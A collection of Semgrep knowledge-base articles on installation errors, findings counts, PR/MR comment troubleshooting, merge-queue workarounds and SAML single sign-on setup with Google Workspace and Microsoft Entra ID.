the '--break-system-packages' flag to pip, or by adding
'break-system-packages = true' to your pip.conf file. The latter
will permanently disable this error.
If you disable this error, we STRONGLY recommend that you additionally
pass the '--user' flag to pip, or set 'user = true' in your pip.conf
file. Failure to do this can result in a broken Homebrew installation.
Read more about this behavior here:
note: If you believe this is a mistake, please contact your Python installation or OS distribution provider. You can override this, at the risk of breaking your Python installation or OS, by passing --break-system-packages.
hint: See PEP 668 for the detailed specification.
```
Error message on Ubuntu:
```bash expandable theme={null}
error: externally-managed-environment
Γ This environment is externally managed
β°β> To install Python packages system-wide, try apt install
python3-xyz, where xyz is the package you are trying to
install.
If you wish to install a non-Debian-packaged Python package,
create a virtual environment using python3 -m venv path/to/venv.
Then use path/to/venv/bin/python and path/to/venv/bin/pip. Make
sure you have python3-full installed.
If you wish to install a non-Debian packaged Python application,
it may be easiest to use pipx install xyz, which will manage a
virtual environment for you. Make sure you have pipx installed.
See /usr/share/doc/python3.12/README.venv for more information.
note: If you believe this is a mistake, please contact your Python installation or OS distribution provider. You can override this, at the risk of breaking your Python installation or OS, by passing --break-system-packages.
hint: See PEP 668 for the detailed specification.
```
## How to fix this error
The recommended way to install Semgrep is to use a tool that manages isolated environments for standalone Python applications, such as [`pipx`](https://pipx.pypa.io/stable/) or [`uv`](https://docs.astral.sh/uv/). See the [Python Packaging guide on installing stand-alone command-line tools](https://packaging.python.org/en/latest/guides/installing-stand-alone-command-line-tools/) for more on these tools.
Choose one of the following:
* Install [`pipx`](https://pipx.pypa.io/stable/how-to/install-pipx/), then run `pipx install semgrep`.
* Install [`uv`](https://docs.astral.sh/uv/getting-started/installation/), then run `uv tool install semgrep`. To run a one-off Semgrep command without persistently installing it, use `uvx semgrep`. See the [`uv` tools guide](https://docs.astral.sh/uv/guides/tools/) for more details.
* Install Semgrep using [`homebrew`](https://brew.sh/), with `brew install semgrep`.
If you're already using a custom Python virtual environment, you can install Semgrep in this existing environment instead.
# FedRAMP authorization boundary for code scanning services like Semgrep
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform/fedramp-with-semgrep
At Semgrep, we understand the importance of staying within the FedRAMP Authorization Boundary guidelines, especially when it comes to code security and scanning services. Many other companies agree with our understanding of the FedRAMP Authorization Boundary guidance (Section 7) which stipulates that corporate services (like source code management or code security and scanning services) are outside of the FedRAMP Authorization Boundary so long as they do not contain any federal data or unauthorized metadata.
When a code scanning service such as Semgrep scans your source code, it does not gain access to any federal data or government related meta-data if it is not contained within your source code.
The FedRAMP Authorization Boundary guidance specifically calls out that DevOps is outside of FedRAMP scope so long as *βthere is no federal information within this environmentβ*. This requirement is almost always satisfied. When Semgrep scans code for a FedRAMP compliant customer, metadata is stored about their code but nothing else (that can be related to what federal data they store). For more information around metrics collected by Semgrep, please refer to our [docs](/metrics).
# Why do the findings count differ in the API and the Semgrep AppSec Platform UI?
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform/findings-count-differ-api-platform
## Semgrep Code and Supply Chain findings
Semgrep Code and Supply Chain findings shown in Semgrep AppSec Platform are automatically deduplicated by default. This means that a finding that appears across multiple branches or scans is counted only once (typically for the most recent occurrence on a primary branch). The findings, however, aren't deduplicated by default when you request them through the Semgrep API.
You can see results from the API that match those shown in Semgrep AppSec Platform by making a call to the [List code or supply chain findings](/api-reference/v1/findingsservice/list-code-supply-chain-or-ai-powered-scan-findings) endpoint, ensuring that you include the `dedup=true` parameter.
## Semgrep Secrets findings
Semgrep AppSec Platform displays the latest instance of a Semgrep Secrets finding by default, even if the finding appears on a non-primary branch. A Secrets finding is considered relevant if it exists on *any* branch. Semgrep's [Secrets API endpoint](/api-reference/v1/secretsservice/list-secrets) also behaves this way, so the counts shown in Semgrep AppSec Platform and by the API are typically in agreement.
## Filters and scoping the API call to ensure consistency
To ensure consistency in the findings count shown by the Semgrep API and in the Semgrep AppSec Platform UI, use the same filters in your API query as those applied in the UI, such as:
* Ref
* Severity
* Confidence
* `dedup=true` (this parameter is crucial for aligning the API output with the information shown in Semgrep AppSec Platform)
**NOTE**
When setting `ref`, note that passing the `ref=_default` parameter to the API is *not* equivalent to setting the primary branch in Semgrep AppSec Platform. You must set `ref` explicitly to the primary branch name, such as `main` or `master`, to ensure the output matches the information in the UI. Without this, the API returns findings from all branches.
# Why are findings counts different across Semgrep AppSec Platform pages?
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform/findings-count-differ-platform
You may see different findings counts across the [Dashboard](/semgrep-appsec-platform/dashboard), [Projects](/deployment/manage-projects), [Scans](/deployment/manage-projects#scan-details-and-logs), and Findings pages in Semgrep AppSec Platform. This is typically due to the filtering criteria used to display the findings.
## The Projects page displays a different findings count from the Findings pages
Semgrep AppSec Platform computes the findings count displayed on the **Projects** page as follows:
* The Projects page includes findings with the **Open**, **Reviewing**, and **To fix** statuses.
* For Semgrep Code and Semgrep Supply Chain, the findings count is computed using the [**primary branch**](/deployment/primary-branch).
* For Semgrep Secrets, the findings count is computed from [deduplicated findings across all branches](/semgrep-secrets/triage-remediation#default-secrets-page-view-and-branch-logic).
The product-specific **Findings** pages display findings as follows:
* [Semgrep Code](/semgrep-code/findings): displays findings from the primary branches of all repositories. Shows **Open** findings by default.
* [Semgrep Supply Chain](/semgrep-supply-chain/findings): displays vulnerability findings from the primary branches of all repositories. Shows **Open** findings that are **Reachable** or **Needs review** by default.
* [Semgrep Secrets](/semgrep-secrets/triage-remediation): displays the instance of a finding from the most recent branch scanned. Shows **Open** that are not **Confirmed invalid** by default.
## The Projects page displays a different findings count from the Scans page
For Semgrep Code and Semgrep Supply Chain, the **Projects** page counts findings with the **Open**, **Reviewing**, or **To fix** status identified in the **primary branch**. The **Projects > Project Details > Scans** page lists each scan individually, with a count of the findings identified on the branch that Semgrep scanned. The **Scans** page entry for a scan displays all findings that were identified in that scan, regardless of their current status.
## The Dashboard page displays a different findings count from the Findings pages
The finding counts on the **Dashboard** show historical changes and the state of findings during a specific period, while the **Findings** pages reflect the current state of findings. More specifically:
* The **Dashboard** page includes the **Total fixed** and **Total ignored** finding counts in the **Production backlog** section. These numbers include all findings that you fixed or triaged as ignored during the selected period, even if the findings' statuses have changed since then. This is different from the findings count displayed on the **Findings** page, which only counts findings that are currently triaged as **Ignored**.
* Similarly, the **Total opened** number counts the number of findings that were opened or reopened during the selected period. This differs from the **Findings** page, which displays a count of the findings that are currently open.
### The Recommended priority filter
The **Dashboard** page also features the **Recommended priority** filter. When this filter is enabled, the page includes findings that are **Critical** or **High** severity in addition to being:
* **High confidence** - if the finding is from Semgrep Code.
* **Reachable** in code - if the finding is from Semgrep Supply Chain.
* **Valid** and non-historical - if the finding is from Semgrep Secrets.
By default, **Recommended priority** filters are enabled. If you choose to turn off **Recommended priority** filters, the additional filters are removed, but the **Dashboard** page still displays historical information over the time period.
## The Time period filter
The **Time period** filter that is active on a page can also significantly affect what data is shown. The **Projects** page does not have a time period filter; it always displays findings currently in the **Open**, **Reviewing**, or **To fix** statuses.
* The **Dashboard** page defaults to a time period of 3 months, and can display time periods between 7 days and 1 year.
* The **Findings** pages default to **All time**. The **Time period** filters on these pages allow selection between **Opened**, **Triaged**, and **Fixed** options, and between 1 day and all time (as long as the organization has been running Semgrep scans). For example, you can view findings that have been **Triaged** in the last 7 days.
* The **Projects > Project Details > Scans** page displays individual scans from the last month by default, and can display either 7 days of scans or 1 month of scans. Any scans outside of the specified time period are not shown.
# Why are some of my findings in Open status instead of Provisionally ignored when Semgrep has also flagged the findings as False positives?
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform/findings-in-open-not-provisionally-ignored
Occasionally, you might see findings that Semgrep Multimodal has flagged as **False positives** in **Open** status instead of **Provisionally ignored**. This can happen if the AI analysis takes too long:
1. Semgrep scans your project and identifies a finding.
2. Semgrep Multimodal analyzes your finding to try to auto-triage it.
3. If auto-triage analysis results are returned in time and the finding is a **False positive**, Semgrep can use this information to set the finding's status to **Provisionally ignored**.
4. If auto-triage results aren't returned in time, Semgrep sets the finding's status as **Open**.
5. If auto-triage results return at a later time, indicating that the finding is a **False positive**, Semgrep flags the finding accordingly but does *not* update the status of the finding.
# Why am I seeing a "No SCMs with code access found" error when enabling code snippets in AI prompts?
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform/gitlab-no-scms-with-code-access-found
If you have successfully connected your GitLab instance to Semgrep, but see the **No SCMs with code access found** error when [enabling **Semgrep Multimodal** in Semgrep AppSec Platform](https://semgrep.dev/orgs/-/settings/general/global), it might be an issue with the PAT you provided when connecting GitLab to Semgrep.
Generally, group membership for the user creating the GitLab PAT provided to Semgrep isn't required. However, Semgrep does use group membership to confirm that the token provides access to that group, and missing this information can cause some Semgrep checks to fail.
To correct this issue, provide an updated PAT to Semgrep that's created by a **Maintainer**, **Owner**, or **Admin** who is **also a member of the group** you added to Semgrep. Ensure that the PAT is created by that user with the required `API` scope.
# Why did the comments on a PR or MR not appear inline?
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform/inline-pr-comments
When Semgrep comments on PR or MR findings, the comments are usually posted on the line of code where the finding is identified (inline). However, there are two common reasons why comments may not appear inline.
## Avoiding excessive inline comments
For rules with several findings in the same PR or MR, inline comments for every individual finding occupy a significant amount of space without providing much additional information. Therefore, if the same finding occurs more than five times in a PR or MR, the related comment is posted as a summary (overall) comment. Findings grouped together into a summary comment can only be triaged in Semgrep AppSec Platform.
## Available lines in the displayed diff
### GitHub PRs
GitHub only allows PR comments to be posted on lines of code that are shown in the default file-diff (Files changed) view on GitHub. If a finding appears outside those lines, Semgrep attempts to post the comment as close to the finding as feasible. If that fails, it posts the comment as a summary comment, visible in the Conversation view.
### GitLab MRs
GitLab allows comments to be posted on lines of code outside the default file-diff view, but the comments don't appear in the file-diff (Changes) view. However, they do appear as diff-related comments on the Overview.
## Additional references
# Why is my repository not receiving PR or MR comments?
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform/missing-pr-comments
If you have configured Semgrep in CI and Semgrep AppSec Platform to create comments when a rule generates a finding in a PR or MR, but you are not seeing those comments, review the following possibilities.
## Are comments supported in your source code manager (SCM)?
PR or MR comments are currently supported for:
* All GitHub plans
* All GitLab plans
* All Bitbucket plans
* Azure DevOps Cloud repositories
PR or MR comments are not supported for:
* Any other SCM or repository provider
A connection to a source code manager is required for a repository to receive PR or MR comments. If you have not done so yet, [set up a connection for your SCM organization or project](/deployment/connect-scm).
If you are using a self-hosted version of your SCM, see [Connect to on-premise orgs and projects](/deployment/connect-scm/#connect-to-on-premise-orgs-and-projects) for more details on configuration.
## Have you configured permissions and tokens correctly?
### GitHub
Semgrep relies on the Semgrep GitHub app to make comments on code. To receive comments on a project, ensure that you have performed the following steps:
* You have [onboarded](/category/scan-repositories-with-the-appsec-platform) the project to Semgrep AppSec Platform.
* You have configured your GitHub app with permissions for all repositories that are scanned by Semgrep AppSec Platform. See [Enabling GitHub pull request comments](/semgrep-appsec-platform/github-pr-comments) for details, or review the following examples:
### Azure DevOps
See [Enable Azure pull request comments](/semgrep-appsec-platform/azure-pr-comments) for token permissions and configuration guidelines.
### GitLab
The GitLab token should have `api` scope. See [Enable GitLab merge request comments](/semgrep-appsec-platform/gitlab-mr-comments) for details.
The `api` scoped token must be provided to Semgrep through the SCM connection. Semgrep no longer supports tokens provided in the GitLab CI/CD pipeline.
#### Bitbucket
The Bitbucket token must be a repository access token or a workspace access token. See [Enable Bitbucket pull request comments](/category/bitbucket-pr-comments) for details.
## Are you running diff-aware scans?
In Managed Scans: Semgrep always runs diff-aware scans on pull and merge request events. Full scans run at scheduled intervals.
In GitHub Actions and GitLab CI/CD: Semgrep runs diff-aware scans on pull or merge requests by default if you are using the recommended configuration.
In other SCMs or CI systems, or with unusual pipeline configurations: diff-aware scans may require additional setup. Review the [configuration instructions](/category/pr-or-mr-comments) for your SCM or [custom configuration for your CI jobs](/deployment/customize-ci-jobs#set-up-diff-aware-scans) and ensure you have configured your scans correctly.
### Identify a diff-aware scan
Semgrep diff-aware scans are most easily identified by reviewing three items in the scan log:
* The triggering event
* The number of files scanned
* Whether a baseline scan is conducted
#### The triggering event for the scan
The triggering event for the scan in GitHub or GitLab should typically be `pull_request`. This is the easiest to find but the least reliable, since it's possible to configure diff-aware scans on other event types. In the scan log, this appears as:
```bash theme={null}
environment - running in environment github-actions, triggering event is pull_request
```
This line indicates that a scan was triggered from a pull request, and is most likely diff-aware, whereas:
```bash theme={null}
environment - running in environment github-actions, triggering event is schedule
```
would not typically indicate a diff-aware scan. Scheduled scans are typically full scans of all code in the repository.
#### The number of files scanned
The number of files scanned should be approximately the number of files modified in the PR, and should not include all files in the repository.
In the scan log, this appears as:
```bash theme={null}
Scanning 2 files tracked by git with 1194 Code rules, 860 Secrets rules, 768 Supply Chain rules:
```
This would most likely be a diff-aware scan, unless you are doing a test on a very small repository.
However, if you instead see something like:
```bash theme={null}
Scanning 1002 files tracked by git with 1971 Code rules, 858 Secrets rules, 3619 Supply Chain rules:
```
and the repository's total number of files is around 1000, then this most likely is not a diff-aware scan.
#### Whether a baseline scan is conducted
Finally, during the process of a diff-aware scan, Semgrep actually conducts two scans: one at the current tip or head of the PR, and one at the baseline ref or commit.
The following log is anonymized and truncated for clarity, and the exact format of the log may evolve over time. It shows the key item to review, the two distinct `Scan Status` entries:
```bash expandable theme={null}
ββββββββββββββββββ
β Debugging Info β
ββββββββββββββββββ
SCAN ENVIRONMENT
versions - semgrep 1.76.0 on python 3.11.9
environment - running in environment github-actions, triggering event is pull_request
Fixing git state for github action pull request
Not on head ref: fcc...d21; checking that out now.
CONNECTION
Using 104...950 as the merge-base of f5e...1a7 and fcc...d21
Initializing scan (deployment=testsemgrep, scan_id=29062823)
Enabled products: Code, Supply Chain
...
βββββββββββββββ
β Scan Status β
βββββββββββββββ
Scanning 52 files tracked by git with 1898 Code rules, 818 Supply Chain rules:
...
Current version has 60 findings.
Creating git worktree from '104...950' to scan baseline.
...
βββββββββββββββ
β Scan Status β
βββββββββββββββ
Scanning 4 files tracked by git with 2 Code rules, 34 Supply Chain rules:
```
The initial scan, which occurs at the current commit for the pull request `fcc...d21`, scans 52 files and identifies 60 findings. The baseline scan, which occurs at `104...950`, scans 4 files. Baseline scans typically scan fewer files than the original scan, as they only need to scan files and rules that have findings in the initial scan to determine which of those findings were present before the changes made in the pull or merge request.
This also means that baseline scans are not conducted if all findings in the current commit that are in files added by the PR or MR, because those findings could not have been present before. This information is logged as:
```bash theme={null}
Skipping baseline scan, because all current findings are in files that didn't exist in the baseline commit.
```
If the baseline scan is skipped, the scan is still diff-aware; the baseline scan just isn't necessary.
If you review the scans that are not generating comments and find that they are not diff-aware, and you have followed the preceding guidance, feel free to [reach out to Semgrep support](/support) for help.
## Have you correctly configured your policies?
### Code: The rule is in Comment or Block mode
To receive comments for a Code rule, the rule must be in the [Comment or Block policy mode](/semgrep-code/policies#block-a-pr-or-mr-through-rule-modes). Rules in Monitor mode do not generate comments.
### Secrets: The rule is in Comment or Block mode, and validation settings match
For Secrets, the rule's [policy mode](/semgrep-secrets/policies#rule-modes) must be Comment or Block. The secret must also be valid, unless you have customized your validation state policy. See [Validation state policies](/semgrep-secrets/policies#validation-state-policies) for more information.
### Supply Chain: The finding meets your criteria for commenting or blocking
Supply Chain provides flexible policy configuration based on a variety of criteria. When setting up a policy, you can choose the actions "Leave a comment" or "Block and leave a comment". These actions are similar to the Comment and Block modes of Code and Secrets policies. If a finding meets your configured criteria for commenting, then it should result in a comment on the PR or MR.
## Is this the first time this finding has been identified?
PR or MR comments are generated when a finding is new. If a finding was seen in a previous scan, it is [not new](/semgrep-code/remove-duplicates) and a comment is not generated.
This prevents repeated comments on findings that have already notified developers.
## Has the finding been filtered by Semgrep Multimodal as a potential false positive?
If you use Semgrep Multimodal and have configured the **Noise filter for Code PR/MR comments** setting to **Donβt leave a PR/MR comment** for likely false positives, review whether Multimodal has categorized the finding as a false positive.
This can be particularly tricky if you're in the process of testing PR/MR comments, since Multimodal uses information about whether the code appears to be in a test context as part of determining whether it may be a false positive finding.
Consider disabling this setting during testing if you are having difficulty generating comments.
## If you're still having trouble
If you've addressed these issues but are still not seeing comments, please [reach out for help](/support), and provide information on what you've tried so far.
# Semgrep Managed Scans doesn't run for pull requests in GitHub merge queues
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform/no-runs-in-github-merge-queues
Your merge queue pipelines can become blocked if you:
* Use Semgrep Managed Scans to automatically scan your projects
* Use GitHub merge queues to automate pull request merges
* Have made the Semgrep scan a required check
Managed Scans do not run in merge queues, so the required Semgrep check never passes, preventing merges.
## Why Semgrep doesn't run in merge queues
Semgrep doesn't run in merge queues because:
* Diff-aware scans during a merge queue check aren't meaningful. The purpose of a diff-aware scan is to catch issues before code is merged. Pull requests in a merge queue are already approved for merged.
* Full scans take a long time, significantly delaying merges for larger repositories.
## Workaround
To keep Semgrep required for pull requests without blocking merge queues, define two separate [GitHub rulesets](https://docs.github.com/en/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets#about-rulesets):
1. **Pull request ruleset for the main branch**: requires the Semgrep check to pass before merging
2. **Merge queue ruleset for the main branch**: does **not** require the Semgrep check. Instead, this uses a placeholder check that runs on `merge_group`.
### Define your rulesets
Go to your GitHub repository.
Go to **Setting > Code and automation > Rules > Rulesets**.
Configure your rulesets:
* **PR**: requires the Semgrep check to pass before merging.
* **Queue**: does **not** require the Semgrep check
### Create a placeholder workflow
Define a workflow to provide a passing check for merge queue events:
```yaml theme={null}
# .github/workflows/semgrep-mq-placeholder.yml
name: Semgrep - merge queue placeholder
on:
merge_group: {}
workflow_dispatch: {}
pull_request: {}
jobs:
semgrep-mq-placeholder:
name: semgrep-cloud-platform/scan # this is the name required in the MQ ruleset
runs-on: ubuntu-latest
timeout-minutes: 3
steps:
- run: echo "OK β Semgrep already ran on the PR; MQ can proceed."
```
## Example walkthrough
Watch this [Loom recording](https://www.loom.com/share/57e7288e1c5b4b22b6386e5c49953381) to see a walkthrough of the workaround.
# Why are my projects showing a status of 'Not yet started' after I enable Managed Scans?
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform/projects-not-yet-started-sms
When onboarding a large number of projects to Semgrep Managed Scans (SMS), users may notice that many of them show a 'Not yet started' status, even after enabling Managed Scans. This is because Semgrep doesn't trigger scans for all projects at once. Instead, Semgrep scans the repositories over time to manage system resources effectively.
If you need immediate results for specific projects, you can manually trigger a scan:
In Semgrep AppSec Platform, navigate to **Projects**.
Find the project you want to scan, then click the project's ** window icon** under the **Details** column.
On the project's **Details** page, click **Run a new scan > Rule-based detection**.
After the initial scan, Semgrep automatically scans each repository every week.
**WARNING**
If projects remain in **Not yet started** status for longer than a week, or if manually triggered scans don't start, this could indicate an issue with the:
* Repository permissions
* SCM access token
* Network connectivity
In such cases, [contact Semgrep Support](/support) for assistance.
# Remove users from your Semgrep AppSec Platform organization
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform/remove-users
When you remove a user from your connected GitHub organization, GitLab group, or single sign-on (SSO) provider:
* They can no longer sign in to Semgrep.
* Any active session for that user in the platform expires within seven days.
However, their user record may still appear in your Semgrep organization's members list.
To have the user record removed from your Semgrep organization as well:
1. Ensure that you have removed the user from connected groups in the identity provider.
2. [Contact Semgrep Support](/support) to have the user removed from your organization. Provide the following information in your request:
* The user's email address and sign-in method. If the user had access to the platform via multiple sign-in methods, please include all the methods whose accounts you want to delete. For example, if the user signed in using both GitHub and SAML SSO, please let Semgrep know whether the GitHub account associated with the user should be deleted or the SAML SSO account should be deleted instead.
* Your Semgrep organization name or ID.
## Manage available identity providers
If you have multiple identity providers enabled in your Semgrep organization, and want to prevent users from logging in using their GitHub or GitLab credentials:
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login), and navigate to **Settings > Access > Login Methods**.
Click the toggle for **GitHub SSO** or **GitLab SSO** to turn off the sign-in method.
This change prevents any new logins from users with GitHub or GitLab credentials.
# How to re-run a Semgrep Managed Scan
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform/rerun-managed-scans
You can re-run full scans from the **Projects** page in Semgrep AppSec Platform.
There is no manual "re-run" action for pull request (PR) or merge request (MR) Semgrep Managed Scans. To re-run a PR or MR scan, push a new commit to the PR or MR branch. This triggers a new scan automatically.
If no code changes are needed, you can push an empty commit:
```bash theme={null}
git commit --allow-empty -m "Trigger Semgrep scan"
git push
```
# SAML SSO error: There is no AttributeStatement on the Response
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform/saml-attributestatement
When configuring SAML single sign-on (SSO) in Semgrep AppSec Platform, you may encounter the following error: `There is no AttributeStatement on the Response`
This error occurs when [an attribute within the SAML response does not contain a value](https://support.okta.com/help/s/article/SAML-attribute-statement-with-no-value-configured-not-properly-closed-in-assertion?language=en_US), resulting in a SAML assertion that does not correctly close the attribute statement. The attribute statement causes an SSO error when the service provider (SP) receives the SAML response.
## Find the SAML attribute that is causing the error
1. If you do not know the attribute that is causing the error, you can [identify it by investigating the payload](https://support.okta.com/help/s/article/How-to-View-a-SAML-Response-in-Your-Browser-for-Troubleshooting?language=en_US).
2. Once you have identified the attribute in question, there are two ways for you to fix the issue. The best option depends on what information your SP expects to receive:
* If your SP requires a value for the specific SAML attribute statement, you must add the value in the IdP. When [setting up SSO to Semgrep AppSec Platform](/deployment/sso/#saml-20), you must provide `name` and `email`.
* If your SP does *not* expect the attribute statement in your SAML settings, you can remove it.
Regardless of which option you choose, you can update or remove SAML attribute statements using your identity provider (IdP). Reach out to your SSO administrator or your IdP for instructions.
# SAML SSO Error: Authentication method doesn't match requested
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform/saml-authentication-method-match
When logging in to Semgrep using SAML single-sign on (SSO), you may see the error `Authentication method doesn't match requested`:
This error only occurs when starting sign-in from Semgrep. To prevent the error, start your sign-in from your IdP (SSO provider).
To fix this problem, you must be an `admin` in Semgrep AppSec Platform.
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Click ** Settings > Access > [SSO](https://semgrep.dev/orgs/-/settings/access/sso)**.
Check the box labeled **Check if your SSO supports non-password authentication mechanisms (e.g. MFA, X509, PasswordLessPhoneSignin)**.
Click **Save** to save this setting.
# SAML SSO Error: Signature validation failed
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform/saml-bad-signature
When setting up SAML single-sign on (SSO), you may encounter the following error: `Signature validation failed. SAML Response rejected`
This indicates one of two things:
* You may not have entered the certificate correctly in the Semgrep SSO settings. Verify that the signature there matches the one provided by your IdP.
* Your certificate may have a problem, such as being outside its validity dates. Inspect the signature information for the certificate you uploaded to Semgrep AppSec Platform and ensure it is valid.
If your certificate file is stored as `server.crt`, you can view the signature information on the command-line using:
```console theme={null}
openssl x509 -in server.crt -text -noout
```
Check information such as:
* Certificate authority or Issuer
* Validity dates
* Signature algorithm and value
Address any problems with the certificate. Then, upload the resulting certificate to Semgrep AppSec Platform:
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Click ** Settings > Access > [SSO](https://semgrep.dev/orgs/-/settings/access/sso)**.
In the **Upload/Paste certificate** box, add the correct certificate.
Click **Save**.
After updating the settings, attempt a new SSO login.
# SAML SSO with Google Workspace
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform/saml-google-workspace
This article describes how to set up SAML Single Sign-on for Semgrep AppSec Platform with Google Workspace, including how to set up the necessary attribute mappings.
This article describes how to set up SAML Single Sign-on for Semgrep AppSec Platform with Google Workspace, including how to set up the necessary attribute mappings.
Ensure that you are an admin for both your Semgrep deployment and your Google Workspace account.
## Google Workspace configuration
[Set up a custom SAML app](https://support.google.com/a/answer/6087519?hl=en#zippy=%2Cstep-add-the-custom-saml-app) in Google Workspace. The default **Name ID** is the primary email, and this value is optimal for use with Semgrep AppSec Platform.
When you reach the **Add mapping** step of the instructions to set up a custom SAML app, add the attribute statements that Semgrep AppSec Platform requires:
| Name | Value |
| :-------- | :------------------------------- |
| id | `user.login` **or** `user.email` |
| email | `user.email` |
| firstName | `user.firstName` |
| lastName | `user.lastName` |
## Semgrep configuration
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
Go to **[Settings > Access > Login methods](https://semgrep.dev/orgs/-/settings/access/loginMethods)**.
In the **Single sign-on (SSO)** section, provide a valid **Email domain**, then click **Initialize**.
The **Configure Single Sign-On** dialog appears to guide you through the remaining configuration steps. Begin by selecting **Custom SAML**.
Follow the instructions provided on the subsequent **Configure Single Sign-On** dialog pages to complete this process. When you've completed the required steps, use **Test sign-in** to test the connection.
Once test sign-in has passed, close the test page. Verify that the **Connection details** shown on the **Connection activated** screen are correct and close the dialog.
Verify that the **Connection status** is now **active** under the **Single sign-on (SSO)** section in Semgrep AppSec Platform.
To use the new connection, log out of Semgrep, then log back in using SSO.
Follow these steps:
[Set up a custom SAML app](https://support.google.com/a/answer/6087519?hl=en#zippy=%2Cstep-add-the-custom-saml-app) in Google Workspace. The default **Name ID** is the primary email, and this value is optimal for use with Semgrep AppSec Platform.
When you reach the **Add mapping** step of the instructions to set up a custom SAML app, add the two attribute statements that Semgrep AppSec Platform requires: `name` and `email`.
* The attribute mapped to `email` should be the primary email.
* The attribute mapped to `name` should be some form of the user's name. You can use a default attribute like the user's first name, or create a custom attribute for their full name.
Sign in to Semgrep AppSec Platform.
Navigate to **[Settings > Access > Login methods](https://semgrep.dev/orgs/-/settings/access/loginMethods)**.
Click **Add SSO configuration** and select **SAML2 SSO**.
Provide a **Display name** and your **Email domain**.
Copy the **SSO URL** and **Audience URL (SP Entity ID)**, and provide them to Google Workspace as the **ACS URL** and **Entity ID**, respectively.
Copy your IDP metadata, including the SSO URL and Entity ID and the x509 certificate, from the custom SAML app in Google Workspace.
Enter these in Semgrep AppSec Platform as the **IdP SSO URL** and **IdP Issuer ID** values respectively, and upload or paste the X509 Certificate.
Click **Save** to proceed.
# SAML SSO with Microsoft Entra ID
Source: https://docs.semgrep.dev/kb/semgrep-appsec-platform/saml-microsoft-entra-id
This article describes how to set up SAML Single Sign-on for Semgrep AppSec Platform with Microsoft Entra ID.
This article describes how to set up SAML Single Sign-on for Semgrep AppSec Platform with Microsoft Entra ID.
**PREREQUISITES**
* An existing Microsoft Entra ID account.
* Sufficient permissions within Microsoft Entra ID to create enterprise apps. See [Microsoft Entra ID roles](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference).
* Admin privileges for your Semgrep deployment.
Setting up SAML SSO using Microsoft Entra ID consists of the following general steps:
Create a custom **enterprise app** within Microsoft Entra ID.
Set up SAML SSO for your new enterprise app.
Configure Semgrep.
Add users to your new enterprise app.
## Configure SSO
Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
Go to [**Settings > Access > Login methods**](https://semgrep.dev/orgs/-/settings/access/loginMethods).
In the **Single sign-on (SSO)** section, provide a valid **Email domain**, then click **Initialize**.
The **Configure Single Sign-On** dialog appears to guide you through the remaining configuration steps. Begin by selecting **Entra ID (Azure AD) SAML**.
Follow the instructions provided on the subsequent **Configure Single Sign-On** dialog pages to complete this process. When you've completed the required steps, use **Test sign-in** to test the connection.
Once test sign-in has passed, close the test page. Verify that the **Connection details** shown on the **Connection activated** screen are correct and close the dialog.
Verify that the **Connection status** is now **active** under the **Single sign-on (SSO)** section in Semgrep AppSec Platform.
To use the new connection, log out of Semgrep, then log back in using SSO.
## Create a custom enterprise app
Sign in to the [Microsoft Entra admin center](https://entra.microsoft.com/).
Use the search bar to find and navigate to **enterprise applications**.
Click **New application** > **Create your own application**. A menu appears.
Name your new application something like `Semgrep SAML`.
Select **Integrate any other application you don't find in the gallery (non-gallery)**.
Click **Create**. This takes you to your new enterprise application's page.
You have now created a custom enterprise app for Semgrep to integrate with Microsoft Entra ID. This enables you to set up SAML SSO.
## Set up SAML SSO for your new enterprise app
From your new enterprise app's page, go to **Single-sign on** > **SAML**.
When prompted to **Select a single sign-on method**, select **SAML**. You are redirected to the **SAML-based Sign-on** page.
In the **Basic SAML Configuration** section, click **Edit**. Provide the **Entity ID** and **Reply URL**. You can retrieve these values from Semgrep AppSec Platform by performing the following steps:
ββi. Sign in to Semgrep AppSec Platform.
ββii. Navigate to **[Settings > Access > Login methods](https://semgrep.dev/orgs/-/settings/access/loginMethods)**.
ββiii. Click **Add SSO configuration** and select **SAML2 SSO**.
ββiv. Copy the **Audience URL (SP Entity ID)** value from Semgrep AppSec Platform. Return to **Basic SAML Configuration**. Click **Add identifier** to paste this value as the **Identifier (Entity ID)**.
ββv. Copy the **SSO URL** value from Semgrep AppSec Platform. Return to **Basic SAML Configuration**. Click **Add reply URL** to paste this value as the **Reply URL (Assertion Consumer Service URL)**.
Click **Save** and close out of **Basic SAML Configuration**.
In the **Attributes and Claims** section, click **Edit**. You must add two claims. To add your first claim:
ββi. Click **Add new claim**.
ββii. Enter `name` in the **Name** field.
ββiii. For the **Source attribute** drop-down box, select `user.displayname`.
ββiv. Click **Save**.
To add your second claim:
ββi. Click **Add new claim**
ββii. Enter `email` in the **Name** field.
ββiii. From the **Source attribute** drop-down box, select `user.mail`.
ββiv. Click **Save**.
Close out of **Attributes & Claims**.
## Configure Semgrep
Navigate to Semgrep AppSec Platform, and provide the values required by the SAML2 form:
ββi. Provide the **Display name** and the **Email domain** you are using for the integration.
ββii. Copy the **Login URL** value from Microsoft Entra ID and paste it in into Semgrep AppSec Platform's **IDP SSO URL** field.
ββiii. Copy and paste the **Microsoft Entra ID Identifier** value into Semgrep AppSec Platform's **IdP Issuer ID** field.
ββiv. In Entra ID's **SAML-based Sign-on** page, click **Download** to obtain the **Certificate (Base64)**.
ββv. In Semgrep AppSec Platform, under **Upload/Paste certificate**, click **Browse** and then select the certificate you downloaded.
